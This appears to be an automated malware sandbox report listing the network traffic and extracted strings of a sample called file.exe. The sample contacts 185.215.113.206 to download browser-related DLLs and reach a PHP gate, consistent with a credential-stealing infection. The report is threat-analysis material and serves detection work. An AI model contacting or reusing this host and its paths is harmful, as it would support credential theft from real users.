Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache

Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: 000003.log6.9.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log6.9.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log6.9.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: deff.nelreports.net

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 904sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: chrome-untrusted://new-tab-pageX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: file.exe, 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2570744896.0000000000ECE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2570744896.0000000000F15000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2570744896.0000000000ECE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2570744896.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: file.exe, 00000000.00000002.2570744896.0000000000F15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php0
Source: file.exe, 00000000.00000002.2570744896.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php3
Source: file.exe, 00000000.00000002.2570744896.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpBrowser
Source: file.exe, 00000000.00000002.2570744896.0000000000F15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpL
Source: file.exe, 00000000.00000002.2570744896.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpa
Source: file.exe, 00000000.00000002.2570744896.0000000000F15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phph
Source: file.exe, 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpion:
Source: file.exe, 00000000.00000002.2570744896.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpmS
Source: file.exe, 00000000.00000002.2570744896.0000000000ECE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dll
Source: file.exe, 00000000.00000002.2570744896.0000000000ECE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dll(=tZ
Source: file.exe, 00000000.00000002.2570744896.0000000000ECE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/mozglue.dll
Source: file.exe, 00000000.00000002.2570744896.0000000000F15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/msvcp140.dll
Source: file.exe, 00000000.00000002.2570744896.0000000000F15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/msvcp140.dllV
Source: file.exe, 00000000.00000002.2570744896.0000000000ECE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dll
Source: file.exe, 00000000.00000002.2588685393.0000000021720000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/softokn3.dll
Source: file.exe, 00000000.00000002.2588685393.0000000021720000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/softokn3.dllA
Source: file.exe, 00000000.00000002.2570744896.0000000000F15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/softokn3.dllg
Source: file.exe, 00000000.00000002.2570744896.0000000000F15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/softokn3.dllh
Source: file.exe, 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/sqlite3.dll
Source: file.exe, 00000000.00000002.2570744896.0000000000ECE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/sqlite3.dll&=bZ
Source: file.exe, 00000000.00000002.2570744896.0000000000ECE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/sqlite3.dllr=
Source: file.exe, 00000000.00000002.2570744896.0000000000F15000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2570744896.0000000000F8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2570744896.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dll
Source: file.exe, 00000000.00000002.2570744896.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dll5
Source: file.exe, 00000000.00000002.2570744896.0000000000F15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/t
Source: file.exe, 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206IJK
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_476.4.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.2593670616.000000006F8DD000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2585397596.000000001B557000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2592925628.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: BAAFBFBA.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_475.4.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_475.4.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: Reporting and NEL.10.dr	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingcsp
Source: chromecache_476.4.dr, chromecache_475.4.dr	String found in binary or memory: https://apis.google.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://bard.google.com/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000000.00000002.2588685393.000000002178B000.00000004.00000020.00020000.00000000.sdmp, DBGIJEHIIDGCFHIEGDGC.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000002.2588685393.000000002178B000.00000004.00000020.00020000.00000000.sdmp, DBGIJEHIIDGCFHIEGDGC.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: Reporting and NEL.10.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://c.msn.com/
Source: BAAFBFBA.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000002.2570744896.0000000000F31000.00000004.00000020.00020000.00000000.sdmp, EHIJDHCA.0.dr, Web Data.9.dr, BAAFBFBA.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.2570744896.0000000000F31000.00000004.00000020.00020000.00000000.sdmp, EHIJDHCA.0.dr, Web Data.9.dr, BAAFBFBA.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.9.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.9.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: 8347d690-4fc9-4c61-94df-f8983ceb6796.tmp.10.dr, 76afb6dc-1065-477f-85ac-9ef81c09212b.tmp.10.dr, a338eab9-e500-4c55-89b3-f2de685bc4aa.tmp.10.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.9.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: 8347d690-4fc9-4c61-94df-f8983ceb6796.tmp.10.dr, 76afb6dc-1065-477f-85ac-9ef81c09212b.tmp.10.dr, a338eab9-e500-4c55-89b3-f2de685bc4aa.tmp.10.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: chromecache_475.4.dr	String found in binary or memory: https://clients6.google.com
Source: chromecache_475.4.dr	String found in binary or memory: https://content.googleapis.com
Source: file.exe, 00000000.00000002.2588685393.000000002178B000.00000004.00000020.00020000.00000000.sdmp, DBGIJEHIIDGCFHIEGDGC.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.2588685393.000000002178B000.00000004.00000020.00020000.00000000.sdmp, DBGIJEHIIDGCFHIEGDGC.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: Reporting and NEL.10.dr	String found in binary or memory: https://deff.nelreports.net/api/report
Source: 2cc80dabc69f58b6_0.9.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: Reporting and NEL.10.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msnw
Source: manifest.json0.9.dr	String found in binary or memory: https://docs.google.com/
Source: file.exe, chrome.dll.0.dr	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: chromecache_475.4.dr	String found in binary or memory: https://domains.google.com/suggest/flow
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000002.2570744896.0000000000F31000.00000004.00000020.00020000.00000000.sdmp, EHIJDHCA.0.dr, Web Data.9.dr, BAAFBFBA.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: EHIJDHCA.0.dr, Web Data.9.dr, BAAFBFBA.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000002.2570744896.0000000000F31000.00000004.00000020.00020000.00000000.sdmp, EHIJDHCA.0.dr, Web Data.9.dr, BAAFBFBA.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 000003.log6.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log6.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log6.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log7.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: HubApps Icons.9.dr, d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: HubApps Icons.9.dr, d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
